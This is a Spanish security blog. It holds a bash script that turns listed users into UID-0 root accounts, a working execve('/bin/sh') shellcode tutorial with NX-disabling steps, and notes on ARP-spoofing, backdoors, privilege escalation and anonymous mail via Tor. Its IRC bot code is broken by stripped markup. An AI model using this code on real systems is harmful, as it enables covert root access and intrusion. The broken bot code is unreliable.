# hay argumento?
[ $# -eq 0 ] && { echo >&2 ERROR: Debe introducir como argumento un txt con usuarios, uno por linea ; exit 1; }
# file exists?
[ -f "$1" ] || { echo >&2 ERROR: El archivo pasado como argumento no existe ; exit 1; }
NOW=$(date +"%Y-%m-%d-%X")
HOSTNAME=$(hostname)
LOGFILE="mod_users_log-$HOSTNAME-$NOW.log"
TEMP_FILE=$(mktemp)
# remove duplicates & blank lines
awk ' !x[$0]++' $1 | grep -v '^$' >$TEMP_FILE
for user in $(cat $TEMP_FILE); do
# Si no existe el user
cut -d: -f1 /etc/passwd | grep "$user" > /dev/null
CAMPO1=$?
# Si el user ya es root
cut -d: -f3 /etc/passwd | grep "$user" > /dev/null
CAMPO3=$?
if [ $CAMPO1 -ne 0 -o $CAMPO3 -ne 1 ];then
echo >&2 "ERROR: El usuario: \"$user\" no existe o ya es root."
echo >&2 "ERROR: El usuario: \"$user\" no existe o ya es root." >> "$LOGFILE"
else
# Hacemos root al user
/usr/sbin/usermod -u 0 --non-unique "$user"
# grabamos user en log
echo "$user ahora es root" >> "$LOGFILE"
echo "El usuario \"$user\" ha sido hecho root"
fi
done

Igual le sirven a alguien.

sábado, 29 de octubre de 2011

Fascinacion por los aparatos

Yo llegue a usar precisamente este terminal tonto VT220. Estuvo en el A2 de la FIB de la UPC hasta que retiraron los VTxxx. Estaba alimentado solo por una pila (un hack es eso). Con ese terminal (u otros, habia de VT220 a VT440, la diferencia notable era la rapidez del scroll) conectaba contra alguno de los dos VAX que estaban en cluster, un 8600 que entro en la FIB el año 1986 y compartia 6 discos con otro VAX 785 de tal forma que no se duplicaba el SW y se garantizaba la consistencia de los datos almacenados. Como se compartian los datos se podia trabajar indistintamente, bajo autorizacion, en el 8600 o en el 785. El LCFIB (Laboratori de Calcul de la Facultat d'Informatica de Barcelona) bautizo ese cluster con el nombre de "ISIS", y los hostnames eran chooyu o meiga. Me gustaba Opera en plena guerra Netscape / IE, pero en los terminales tontos tenia que navegar con Lynx, conectaba por telnet a MUDs (juegos de rol en modo texto al estilo de las viejas aventuras conversacionales) como Medina en la direccion nescafib.upc.es en no recuerdo que puerto. El Medina fue hecho por algunos colgados de la FIB, y no era mas que un fork de uno ingles (Aurora creo) y creo que fue el primer MUD en castellano. En el Medina matabas a profesores de entonces por el campus, etc. (la LOPD nunca se metio con nosotros por meter nombres y apellidos de profesores). Podias hacer grupos con gente que se conectaba de otras universidades y corrias el riesgo de que el operador (el becario encargado) te hiciera un "disuser" (lo habitual era una semana sin cuenta) si te pillaban. Incluso consegui un cliente de IRC para VMS, no recuerdo ni de donde. En los 90 Telefonica (Infovia) no estaba al alcance de muchos de nosotros y la tarifa plana era una utopia.

jueves, 22 de septiembre de 2011

Exploiting para niños. Protecciones implementadas por el S.O. La historia

Hola exploiters,

Estoy escribiendo un documento sobre la historia de las protecciones implementadas por el S.O. a los buffer overlows. Es aun un borrador y puede encontrarse el WIP en la wiki de shellcoding en la direccion Exploiting para niños. Protecciones implementadas por el S.O. La historia.

Mi idea es crear un documento con cierta perspectiva historica sobre las protecciones contra buffer overflows implementadas por el S.O. mas que crear un documento tecnico, de ahi el nombre.

La wiki xchg ax, ax ha sido remodelada, aunque no quiero dedicar demasiado tiempo pues no soy diseñador.

Suerte,

viernes, 26 de agosto de 2011

bot irc en python que dice titulos de youtubes que escriben los users

Hola,

Hace poco mas de un año hice un bot irc en bash programado para decir los titulos de los youtubes que escribian por el general de un canal de irc sus usuarios.

Hoy comparto con vosotros un bot irc codificado en python por mi amigo vermells. Es un colega que anda dandole a diversos lenguajes de programacion, sobre todo C y python, y python es el lenguaje en que mas comodo se siente. Esta probado tanto en Linux como windows. Ahi va:

import socket, string, urllib2
#Programa que crea un bot para el IRC
def formateo(cadena):
cont = 0
cadena=cadena+';'
lista=[]
while cont!= len(cadena):
if cadena[cont]=='&':
while cadena[cont]!=';':
cont+=1
else:
lista.append(cadena[cont])
cont+=1
while ';' in lista:
del lista[lista.index(';')]
title=string.join(lista)
socket_bot.send('PRIVMSG '+canal+' :'+'\x0300,10'+title+'\n')
botnick = "Manolo333"
server = "luna.irc-hispano.org"
puerto = 6667
canal = "#canal"
cont=1
f = open("log.txt", "w")
socket_bot = socket.socket()
socket_bot.connect((server, puerto))
socket_bot.send('USER bobo bubu bibi :amateur\n')
socket_bot.send('NICK ' +botnick+'\n')
while True:
line = socket_bot.recv(4096)
print line
if line.find('PING')!=-1:
socket_bot.send('PONG ' +line.split()[1]+'\r\n')
socket_bot.send("JOIN " +canal+'\n')
f.write(line)
cont=cont+1
if cont==1000:
print "se cerrara el archivo"
f.close()
socket_bot.close()
if line.find('youtube.com') != -1:
tmp = line.split()
tmp = tmp.pop()
title = tmp[1:]
try:
url = urllib2.urlopen(title)
while True:
html = url.readline()
if html.find('') != -1:<br /> html = url.readline()<br /> print html<br /> while html.find('') == -1:
formateo(html)
html = url.readline()
break
except:
continue

Suerte,

sábado, 9 de julio de 2011

The smallest Linux ELF binary to print 'Hello world!' [58 bytes]

BITS 32
ORG 0

DB 0x7F
entry:
inc ebp
dec esp
inc esi
mov dl, 14
mov cl, hello
xor dword [ecx], 0x6C4D6549
inc ebx
push dword 0x00030002
mov al, 4
int 0x80
add [eax], eax
add [eax], al
sbb [eax], al
add [eax], al
sbb [eax], al
add [eax], al
xchg eax, esi
dec ebx
int 0x80
DD 0x00210000-0x18
hello: DD 0x00210001
DB 'o, world!', 10

nasm -f bin -o tiny-hello.bin tiny-hello.asm && chmod +x tiny-hello.bin

Fuente: http://d.hatena.ne.jp/kikx/20061111. Si encuentras algo mejor, dimelo.

Suerte,

sábado, 14 de mayo de 2011

Local Linux x86 Shellcoding without any high-level language

Video complementario al primer numero de las ASM/Shellcoding series

Musica: La perrera - Carne de perro (instrumental)

La idea es sencilla, pero se ilustra el primer shellcode funcional hecho publico (que yo sepa, corregidme de lo contrario!) sin recurrir a lenguajes de alto nivel.

sábado, 7 de mayo de 2011

scapy 3-way TCP handshake

Usando scapy para generar (y enviar) los paquetes necesarios a medida para establecer una conexion contra un servidor FTP (un netcat a la escucha realmente) segun el saludo de 3 vias de TCP.



Y en el mejor foro de seguridad del mundo un hilo con informacion condensada de hack de redes para (casi) todos. Y mas hack de redes para (casi) todos.

No hay lenguaje sin registro.

Have fun.

viernes, 6 de mayo de 2011

evilbs backdoor

Haciendo bobadas en casa de un amigo que me dejo sin inet.

Se omiten bobadas mayores como un ataque ARP-spoofing contra el FW Zeroshell para capturar sus credenciales, y a partir de ahi, se juega con este backdoor.

domingo, 24 de abril de 2011

ASLR bypass Linux/x86 ret2eax Classical SUID privilege elevation

Hola exploiters,

Aqui un video ilustrando un infoleak para vulnerar ASLR en un kernel de Linux actual en el momento de escribir esto.

Ademas se ilustra la elevacion de privilegios mas clasica, explotar un binario SUID vulnerable inyectando un shellcode setuid(0) + execve en tiempo de ejecucion. De vlan7 a root.

Y los papers AQUI (II), AQUI (III) y AQUI (IV).



Enjoy!

jueves, 31 de marzo de 2011

Overflowed Minds



Aupa!

NewLog y yo estamos llevando a cabo un proyecto de shellcoding y explotacion de software, una comunidad que intenta ser un vestigio de epocas pasadas, donde lammers y script-kiddies aun no existian, donde el primer objetivo de las personas era aprender y descubrir, donde el afan por compartir y enseñar superaban, sin lugar a dudas, el propio ego.

Podeis encontrarnos en la red en la URL http://www.overflowedminds.net. Por el momento disponemos de contenido propio en la seccion Papers. Estos son:

~ Introducción a la explotación de software en sistemas Linux
~ Local Linux x86 Shellcoding without any high-level language
~ Bypassing local Linux x86 ASLR protection
~ Bypassing Remote Linux x86 ASLR protection
~ Bypassing local Linux x86 ASLR protection revisited

Disponemos ademas de un foro en el que parece que comienza a haber cierta actividad, debido, en gran parte, a los blogs que nos han apoyado haciendonos una reseña. Gracias!

En lo que respecta a las demas secciones de la pagina, esperamos llegar a desarrollar algo suficientemente bueno. Aunque quizas quieras ser tu el primero, asi que invitamos a leer el CFH [Call For Hackers] a toda aquella persona que desee colaborar o formar parte de esta comunidad.

Y, ante todo, sed bienvenidos a Overflowed Minds!

Referencias (agradecimientos vamos):

+ Un informático en el lado del mal: Overflowed minds: Aprendiendo a hacer exploits

+ Overflowed Minds, recursos para la seguridad informática | CyberHades

+ Como descubrir vulnerabilidades y escribir exploits | Dragonjar

+ Wadalbertia - Overflowed Minds

lunes, 31 de enero de 2011

metasploit

Haciendo bobadas en casa de un amigo consiguiendo una shell remota contra un Win suyo.



Se recomienda ver el video a pantalla completa con una resolucion de 720p.

UK SUBS compuso Warhead en 1980 en el escenario de la guerra fria y el miedo latente a un pepinazo que partiese la Tierra en dos.

lunes, 24 de enero de 2011

La nana del buffer overflow como arte, hacking o asi-empezo-todo


worm-src.tar.gz ~ El codigo fuente del gusano de Morris. Es la primera explotacion de un buffer overflow conocida (entre otras muchas cosas que ingeniosamente atacaba el worm). Los comentarios de algunos codigos son buenos, muy buenos.

10.1.1.38.4083.pdf ~ Un analisis del gusano de Morris, por los hackers del MIT. Salio en 1989, a los 3 meses del ataque.

Vulnerability in NCSA HTTPD 1.3 ~ Y aqui tenemos el exploit del tercer BoF de la historia, que publico Lopatic en bugtraq. Es un agradable intercambio de ideas incluso hoy.

"That's all for now.
I hope I managed to prove that exploiting buffer overflows should be an art"

Signed, Solar Designer

lunes, 17 de enero de 2011

Malware en PDF

Mientras preparo el proximo numero de las ASM/Shellcoding series, como esto lleva tiempo sin actualizar pongo a continuacion algunos de los enlaces que me han parecido mas interesantes del malware en PDF, aunque la tendencia es que vaya ganando terrero el malware en Java.

Sandboxes:
http://sourceforge.net/projects/zerowine-tryout/ <- VM
http://mwanalysis.org/ <- online

Herramientas:
http://jsunpack.jeek.org
http://esec-lab.sogeti.com/dotclear/index.php?pages/Origami <- Muy bueno, con muchos scripts en ruby listos para experimentar.
http://malzilla.sourceforge.net/downloads.html

Distros:
http://zeltser.com/remnux/

Textos:
http://grey-corner.blogspot.com/search/label/malicious%20pdf
http://contagiodump.blogspot.com
http://extraexploit.blogspot.com/
http://zeltser.com/combating-malicious-software/index.html

El ultimo CVE 0day en malware en PDF:
http://seclists.org/fulldisclosure/2010/Nov/23
http://jsunpack.jeek.org/dec/go?report=b792fac9b11b08e874a5d274741d201aeeef9016 <- pdf original
http://jsunpack.jeek.org/dec/go?report=cd93a124369bfdc7260178c55028b140cb59cc0f <- Descomprimido con pdftk

Mola de jsunpack que puedes buscar por hash MD5 del archivo y te permite bajarte lo que "ve".

miércoles, 27 de octubre de 2010

shellcoding. A vueltas con el flag NX

NX es una proteccion contra la explotacion de vulnerabilidades, tipicamente buffer overflows, heap overflows y demas hierbas, cuya defensa se basa en impedir que se ejecute codigo en regiones no ejecutables de la memoria. A saber: la pila, el heap y la seccion data.

Veamos si tenemos NX habilitado de forma global en Ubuntu o no. Podemos comprobarlo mirando en el archivo /proc/cpuinfo. Segun documentacion oficial en la primera linea de flags aparecera nx si la BIOS no esta deshabilitando NX (siempre que la CPU lo soporte). Casi todas las CPUs x64 soportan NX. Y las de 32 bits, si usan PAE seguramente soporten NX.
vlan7@vlan7-ubuntu:~$ grep ^flags /proc/cpuinfo |head -n1 |grep nx
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm 3dnowext 3dnow constant_tsc up rep_good nonstop_tsc extd_apicid pni monitor cx16 popcnt lahf_lm svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs skinit wdt
vlan7@vlan7-ubuntu:~$

Por ahi aparece el flag NX, lo que indica que en mi Ubuntu Lucid estoy usando NX.

Tambien comentar que a partir de Ubuntu 10.04 podemos ver si la BIOS esta deshabilitando NX o no mediante el siguiente comando:

vlan7@vlan7-ubuntu:~$ /usr/bin/check-bios-nx --verbose
This CPU has nx in the flags, so the BIOS is not disabling it.
vlan7@vlan7-ubuntu:~$

Podemos desactivar el flag NX pasandole el parametro -s a la herramienta execstack, que se encuentra en los repositorios de debian/ubuntu dentro del paquete prelink.

sudo aptitude install prelink

Si no queremos instalar el paquete, podemos hacerlo con ld.

-z execstack Mark executable as not requiring executable stack

Y... ¿como deshabilitar NX globalmente en Ubuntu?

1. Desde la BIOS (la opcion depende del modelo claro).
ó
2. Recompilando el kernel.

Profundicemos en el punto 2. Segun documentacion oficial, Ubuntu viene compilado por defecto con la opcion -fstack-protector desde su version 6.10. Se deshabilita con -fno-stack-protector o -nostdlib en CPPFLAGS. No he podido llevarlo a cabo, y ya no dispongo de ninguna Ubuntu para probarlo :/

Vamos a por un shellcode.

vlan7@vlan7-ubuntu:~$ nasm -f elf32 sc.asm
vlan7@vlan7-ubuntu:~$ objdump -d sc.o
sc.o: file format elf32-i386
Disassembly of section .text:
00000000 _start:
0: eb 14 jmp 16
00000002 :
2: 5b pop %ebx
3: 31 c0 xor %eax,%eax
5: 99 cltd
6: 88 43 07 mov %al,0x7(%ebx)
9: 89 5b 08 mov %ebx,0x8(%ebx)
c: 88 43 0c mov %al,0xc(%ebx)
f: 8d 4b 08 lea 0x8(%ebx),%ecx
12: b0 0b mov $0xb,%al
14: cd 80 int $0x80
00000016 :
16: e8 e7 ff ff ff call 2
1b: 2f das
1c: 62 69 6e bound %ebp,0x6e(%ecx)
1f: 2f das
20: 73 68 jae 8a
Vamos ahora a obtener los opcodes que formaran el array:

vlan7@vlan7-ubuntu:~$ objdump -d ./sc.o |grep '[0-9a-f]:' |grep -v 'file' |cut -f2 -d: |cut -f1-6 -d' ' |tr -s ' ' |tr '\t' ' ' |sed 's/ $//g' |sed 's/ /\\x/g' |paste -d '' -s |sed 's/^/"/' |sed 's/$/"/g'"\xeb\x14\x5b\x31\xc0\x99\x88\x43\x07\x89\x5b\x08\x88\x43\x0c\x8d\x4b\x08\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
Entonces el sellcode queda finalmente asi:

vlan7@vlan7-ubuntu:~$ cat sc7.c
char sc[] = {"\xeb\x14\x5b\x31\xc0\x99\x88\x43\x07\x89\x5b\x08\x88\x43\x0c\x8d\x4b\x08\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"};
typedef void (*f)();
int main()
{
f func;
func = (f)sc;
func();
return 0;
}

Si probamos a compilar y ejecutar la shellcode con NX activo obtendremos un segmentation fault:

vlan7@vlan7-ubuntu:~$ gcc -o sc7 sc7.c
vlan7@vlan7-ubuntu:~$ ./sc7
Fallo de segmentación

Pero si desactivamos NX:

vlan7@vlan7-ubuntu:~$ execstack -s sc7
vlan7@vlan7-ubuntu:~$ ./sc7
$
Ahi tenemos la shell :)
Referencias

Creando shellcodes "position independent"

Hay un concepto en ASM/shellcoding llamado "position independent".

Por definición, un código es position-independent cuando todas las direcciones de memoria que referencia son relativas (por lo general, con respecto al registro EIP).

Para ilustrarlo, a continuacion muestro un ejemplo de un shellcode _mal hecho_ por este motivo:

BITS 32
;int execve(const char *filename, char *const argv[], char *const envp[]);

xor eax, eax
cdq ;edx=envp
push edx ;terminamos cadena de filename y el array argv
push sh ; ***!!!MAL!!!*** Se hace un push de la direccion absoluta de la cadena
mov ebx, [esp] ;ebx=direccion de la cadena
mov ecx, esp ;ecx=direccion del puntero a la cadena
mov al, 11 ;execve es la syscall 11
int 0x80
sh db "/bin/sh"

Mediante gdb, podemos ver como se hace un push a una direccion de memoria absoluta, lo que demuestra por definición que el código no es position-independent.

(gdb) disassemble _start
Dump of assembler code for function _start:
0x08048060 <_start+0>: xor %eax,%eax
0x08048062 <_start+2>: cltd
0x08048063 <_start+3>: push %edx
0x08048064 <_start+4>: push $0x8048072
0x08048069 <_start+9>: mov (%esp),%ebx
0x0804806c <_start+12>: mov %esp,%ecx
0x0804806e <_start+14>: mov $0xb,%al
0x08048070 <_start+16>: int $0x80
End of assembler dump.
(gdb) x/7b 0x08048072
0x8048072 <sh>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68</sh>

El shellcode devuelve una shell porque dentro de la seccion de tabla de simbolos del ELF se guarda la direccion tal y como esta referenciada por el push. Pero en una explotacion real, ya no sería así, dado que esa direccion ya no va a apuntar a /bin/sh, porque como atacante estamos bajo ambito del programa que queremos explotar, y no podemos contar con que el programa vulnerable haya colocado la cadena en la misma dirección que asumió NASM al ensamblar.

Para verlo en la práctica, basta declarar otro string que sea la cadena vlan7 en el codigo para que se vea como con 0x8048072 ya no estariamos apuntando a '/bin/sh' , sino a 'vlan7' , con lo cual lo mas probable es que se produjera una violacion de segmento.

root@bt:~# readelf -s sc |grep 08048072
root@bt:~# readelf -s sc2 |grep 08048072
4: 08048072 0 NOTYPE LOCAL DEFAULT 1 vlan7

Es decir, este shellcode no es "position independent", y lo solucionamos con una shellcode JMP/CALL que sea "position independent", es decir, que sea capaz de obtener la dirección de la cadena "/bin/sh" independientemente de donde estemos cargados en memoria. Ahi va una.

BITS 32
; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax
cdq ;envp es 0
mov al, 11 ;execve es la syscall 11
push edx ;terminamos cadena y array argv
jmp short down ;jmp short = no bytes nulos
back:
mov ebx, [esp] ;direccion de la cadena
mov ecx, esp ;direccion del puntero a la cadena
int 0x80
down:
call back ;ponemos la cadena /bin/sh en la pila
db "/bin/sh"

Para terminar, algo basico pero que conviene tener presente:

mov ebx, [esp] pone en ebx la direccion de esp como todos sabemos. Pero ¿cual es la direccion de esp en ese momento?

¿Que hay antes de ese mov ebx, [esp] ?

Un call.

call tiene una "feature", y es que guarda en la pila la direccion de la siguiente instruccion, de tal forma que cuando la subrutina a la que llama finalice con un RET se pueda retornar correctamente a la siguiente instruccion (ret hace un pop de dicha direccion de memoria). Hemos colocado la cadena justo despues de la llamada a call, es por eso que su direccion se coloca en la pila.

Referencias:

Enviar un mail anonimo desde la shell usando nuestra cuenta gmail como relay

Para usar el comando AUTH, el cliente (nosotros) debe enviar al servidor la siguiente cadena codificada en Base64:

\000user@host.com\000password
\000 actua como separador.

Podemos conseguirlo con la siguiente linea de perl:

vlan7@sid7:~$ perl -MMIME::Base64 -e 'print encode_base64("\000XXX.YYY\@gmail.com\000password")'
AFhYWC5ZWVlAZ21haWwuY29tAHBhc3N3b3Jk

Ahi tenemos nuestra cadena codificada en Base64. La necesitaremos mas adelante.

Diferencias entre TLS y SSL:

La principal diferencia es que en una comunicacion con un servidor SSL, la conexion SSL se establece antes incluso de que empiece la conversacion SMTP. No ocurre esto con TLS, en el cual openssl se conecta primero en texto plano, manda el comando STARTTLS, negocia el cifrado SSL y entonces es cuando realmente comienza la sesion cifrada.

En nuestro caso google usa SSL en smtp.gmail.com:465, por lo que nos comunicamos con el asi:

vlan7@sid7:~$ /usr/bin/openssl s_client -crlf -connect smtp.gmail.com:465
CONNECTED(00000003)
depth=1 /C=US/O=Google Inc/CN=Google Internet Authority
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
0 s:/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com
i:/C=US/O=Google Inc/CN=Google Internet Authority
1 s:/C=US/O=Google Inc/CN=Google Internet Authority
i:/C=US/O=Equifax/OU=Equifax Secure Certificate Authority
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDWzCCAsSgAwIBAgIKFMs0nQADAAASjjANBgkqhkiG9w0BAQUFADBGMQswCQYD
VQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzEiMCAGA1UEAxMZR29vZ2xlIElu
dGVybmV0IEF1dGhvcml0eTAeFw0xMDA0MjIyMDAyNDVaFw0xMTA0MjIyMDEyNDVa
MGgxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRYwFAYDVQQHEw1N
b3VudGFpbiBWaWV3MRMwEQYDVQQKEwpHb29nbGUgSW5jMRcwFQYDVQQDEw5zbXRw
LmdtYWlsLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAz4B46NG2l4Bk
DdccddAuuOssQ4ZxCHoyj+ErdlEqZurVCoGQzAkhZTkzHrmIgYmM6roTbkF/zEaa
2ROe9s4VoL4OgUnoyB0u1KbwrG5PHBbsMdk0r6jMmhh+MORFVYgQrFxJnu8GnHiG
W4QhmKVytu0FclYE+F1gOOx5qIgTVCMCAwEAAaOCASwwggEoMB0GA1UdDgQWBBS1+KKmwdxtkpKkJgvwhZztqe0uszAfBgNVHSMEGDAWgBS/wDDr9UMRPme6npH7/Gra
42sSJDBbBgNVHR8EVDBSMFCgTqBMhkpodHRwOi8vd3d3LmdzdGF0aWMuY29tL0dv
b2dsZUludGVybmV0QXV0aG9yaXR5L0dvb2dsZUludGVybmV0QXV0aG9yaXR5LmNy
bDBmBggrBgEFBQcBAQRaMFgwVgYIKwYBBQUHMAKGSmh0dHA6Ly93d3cuZ3N0YXRp
Yy5jb20vR29vZ2xlSW50ZXJuZXRBdXRob3JpdHkvR29vZ2xlSW50ZXJuZXRBdXRo
b3JpdHkuY3J0MCEGCSsGAQQBgjcUAgQUHhIAVwBlAGIAUwBlAHIAdgBlAHIwDQYJ
KoZIhvcNAQEFBQADgYEAUc39Y22ucA2N4mmDdPMC8DKbrRGlGMpC294mfh3yCkJa
YRWjodFQSgCtFyKhTZ9roFpSEL0D4QxAtLSwtC0bSaSVusfAW3/CFgG/Cya724ic
9UoEosoG8CK+eGoGQuEsZ0xR86J5jOs2H+4QPHFCn594V7ZySzdeQi93YV31RBE=
-----END CERTIFICATE-----
subject=/C=US/ST=California/L=Mountain View/O=Google Inc/CN=smtp.gmail.com
issuer=/C=US/O=Google Inc/CN=Google Internet Authority
---
No client certificate CA names sent
---
SSL handshake has read 1711 bytes and written 303 bytes
---
New, TLSv1/SSLv3, Cipher is RC4-MD5
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1
Cipher : RC4-MD5
Session-ID: 6B1A39E3D377B24D4A123D2E5AE320A9E21DC976131C5FEB8E7318E74CA5E573
Session-ID-ctx:
Master-Key: FF0082173AEA36C9CB330B63DC9503F7D0031FD60203056C926A98B08B1DBAE517B8417A3958E8A5E0E9C3376D36D49F
Key-Arg : None
Start Time: 1288131594
Timeout : 300 (sec)
Verify return code: 20 (unable to get local issuer certificate)
---
220 mx.google.com ESMTP o43sm5440941weq.23
ehlo vlan7
250-mx.google.com at your service, [X.Y.Z.A]
250-SIZE 35651584
250-8BITMIME
250-AUTH LOGIN PLAIN XOAUTH
250 ENHANCEDSTATUSCODES
Aqui vemos como acepta el comando AUTH PLAIN. Usemos la cadena codificada en Base64 que generamos al principio del texto:

AUTH PLAIN AFhYWC5ZWVlAZ21haWwuY29tAHBhc3N3b3Jk
235 2.7.0 Accepted
Y a partir de aqui mantenemos una conversacion SMTP estandar.

mail from: <xxx.yyy@gmail.com>
250 2.1.0 OK o43sm5440941weq.23
rcpt to: <zzz@vlan7.org>
250 2.1.5 OK o43sm5440941weq.23
data
354 Go ahead o43sm5440941weq.23
From: vlan7 <xxx.yyy@gmail.com>
To: vlan7 <zzz@vlan7.org>
Subject: this is a test!
hola vlan7, como estas?
.
250 2.0.0 OK 1288131795 o43sm5440941weq.23
quit
221 2.0.0 closing connection o43sm5440941weq.23
read:errno=0
vlan7@sid7:~$
Las lineas que no comienzan con ningun digito son los comandos que enviamos al servidor, las respuestas del servidor, como es habitual comienzan con un numero que indica su codigo de respuesta.
Comprobamos desde la shell el correo no leido de gmail:

vlan7@sid7:~$ curl -u ZZZ@vlan7.org --silent "https://mail.google.com/mail/feed/atom" |perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'
Enter host password for user 'ZZZ@vlan7.org':
Gmail - Inbox for ZZZ@vlan7.org
this is a test!
vlan7
[cut]
Como podemos observar ahi lo tenemos :)
~
Ricemos el rizo, enviemos ahora un mail de forma cifrada tambien, pero saliendo con una IP de TOR. Necesitamos un relay que soporte SOCKS. socat es bello, stunnel tambien pero existe una herramienta minimalista escrita en python que se lleva mejor con TOR: sslredir
¿Para que sirve sslredir? Para redireccionar conexiones no SSL hacia conexiones SSL, todo ello a traves de un proxy SOCKS, en nuestro caso: tor.

Basicamente lo que haremos sera iniciar tor, poner a sslredir a la escucha en un puerto determinado, nos conectaremos por telnet al servidor proxy SOCKS tor que tenemos en localhost, y sslredir se encargara de reenviarlo a smtp.gmail.com:465

Empecemos mostrando info acerca del certificado SSL de smtp.gmail.com

vlan7@sid7:~$ sslredir -i smtp.gmail.com:465/usr/local/bin/sslredir:26: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
import socket, time, sha, sys, os, struct, select, syslog, \
[Sat Oct 30 01:59:25 2010] Using '/usr/share/ncat/ca-bundle.crt' for certificate verification
[Sat Oct 30 01:59:26 2010] Connection to smtp.gmail.com:465 established
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
14:cb:34:9d:00:03:00:00:12:8e
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=US, O=Google Inc, CN=Google Internet Authority
Validity
Not Before: Apr 22 20:02:45 2010 GMT
Not After : Apr 22 20:12:45 2011 GMT
Subject: C=US, ST=California, L=Mountain View, O=Google Inc, CN=smtp.gmail.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)
Modulus (1024 bit):
00:cf:80:78:e8:d1:b6:97:80:64:0d:d7:1c:75:d0:
2e:b8:eb:2c:43:86:71:08:7a:32:8f:e1:2b:76:51:
2a:66:ea:d5:0a:81:90:cc:09:21:65:39:33:1e:b9:
88:81:89:8c:ea:ba:13:6e:41:7f:cc:46:9a:d9:13:
9e:f6:ce:15:a0:be:0e:81:49:e8:c8:1d:2e:d4:a6:
f0:ac:6e:4f:1c:16:ec:31:d9:34:af:a8:cc:9a:18:
7e:30:e4:45:55:88:10:ac:5c:49:9e:ef:06:9c:78:
86:5b:84:21:98:a5:72:b6:ed:05:72:56:04:f8:5d:
60:38:ec:79:a8:88:13:54:23
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
B5:F8:A2:A6:C1:DC:6D:92:92:A4:26:0B:F0:85:9C:ED:A9:ED:2E:B3
X509v3 Authority Key Identifier:
keyid:BF:C0:30:EB:F5:43:11:3E:67:BA:9E:91:FB:FC:6A:DA:E3:6B:12:24
X509v3 CRL Distribution Points:
URI:http://www.gstatic.com/GoogleInternetAuthority/GoogleInternetAuthority.crl
Authority Information Access:
CA Issuers - URI:http://www.gstatic.com/GoogleInternetAuthority/GoogleInternetAuthority.crt1.3.6.1.4.1.311.20.2:
...W.e.b.S.e.r.v.e.r
Signature Algorithm: sha1WithRSAEncryption
51:cd:fd:63:6d:ae:70:0d:8d:e2:69:83:74:f3:02:f0:32:9b:
ad:11:a5:18:ca:42:db:de:26:7e:1d:f2:0a:42:5a:61:15:a3:
a1:d1:50:4a:00:ad:17:22:a1:4d:9f:6b:a0:5a:52:10:bd:03:
e1:0c:40:b4:b4:b0:b4:2d:1b:49:a4:95:ba:c7:c0:5b:7f:c2:
16:01:bf:0b:26:bb:db:88:9c:f5:4a:04:a2:ca:06:f0:22:be:
78:6a:06:42:e1:2c:67:4c:51:f3:a2:79:8c:eb:36:1f:ee:10:
3c:71:42:9f:9f:78:57:b6:72:4b:37:5e:42:2f:77:61:5d:f5:
44:11
CA Signature Verified: True
Certificate fingerprint: 1a6f488fbe5bfd92d81230f922ce8449b343bd2c
vlan7@sid7:~$
Volvamos a verificarlo pero esta vez a traves de tor y mostrando solo las dos ultimas lineas, que es lo que nos interesa.

vlan7@sid7:~$ sslredir -i -s 127.0.0.1:9050 smtp.gmail.com:465 |tail -n 2
/usr/local/bin/sslredir:26: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
import socket, time, sha, sys, os, struct, select, syslog, \
CA Signature Verified: True Certificate fingerprint: 1a6f488fbe5bfd92d81230f922ce8449b343bd2c

Parece todo correcto. Para terminar vamos a hacerlo demonio enviandolo al background. Escuchara en el puerto 7777 y reenviara el trafico que reciba por ese puerto a smtp.gmail.com:465 mediante SSL a traves del proxy SOCKS que tenemos gracias a tor.

vlan7@sid7:~$ sslredir -dnl 7777 -s 127.0.0.1:9050 -f 1a6f488fbe5bfd92d81230f922ce8449b343bd2c smtp.gmail.com:465
/usr/local/bin/sslredir:26: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
import socket, time, sha, sys, os, struct, select, syslog, \
Comprobamos que lo tenemos escuchando en el puerto 7777.

vlan7@sid7:~$ netstat -tunlp |grep :7777
(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)
tcp 0 0 127.0.0.1:7777 0.0.0.0:*
LISTEN 19618/python

OK, enviemos ahora un correo de la misma forma que vimos en la primera parte.

vlan7@sid7:~$ telnet 127.0.0.1 7777
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 mx.google.com ESMTP x65sm1999579weq.1
ehlo vlan7
250-mx.google.com at your service, [83.170.92.9]
250-SIZE 35651584
250-8BITMIME
250-AUTH LOGIN PLAIN XOAUTH
250-ENHANCEDSTATUSCODES
250 PIPELINING
AUTH PLAIN AFhYWC5ZWVlAZ21haWwuY29tAHBhc3N3b3Jk
235 2.7.0 Accepted
mail from: <XXX.YYY@gmail.com>
250 2.1.0 OK x65sm1999579weq.1
rcpt to: <ZZZ@vlan7.org>
250 2.1.5 OK x65sm1999579weq.1
data
354 Go ahead x65sm1999579weq.1
From: vlan7 <XXX.YYY@gmail.com>
To: vlan7 <ZZZ@vlan7.org>
Subject: This is a test
hola vlan7 que tal
.
250 2.0.0 OK 1288395385 x65sm1999579weq.1
quit
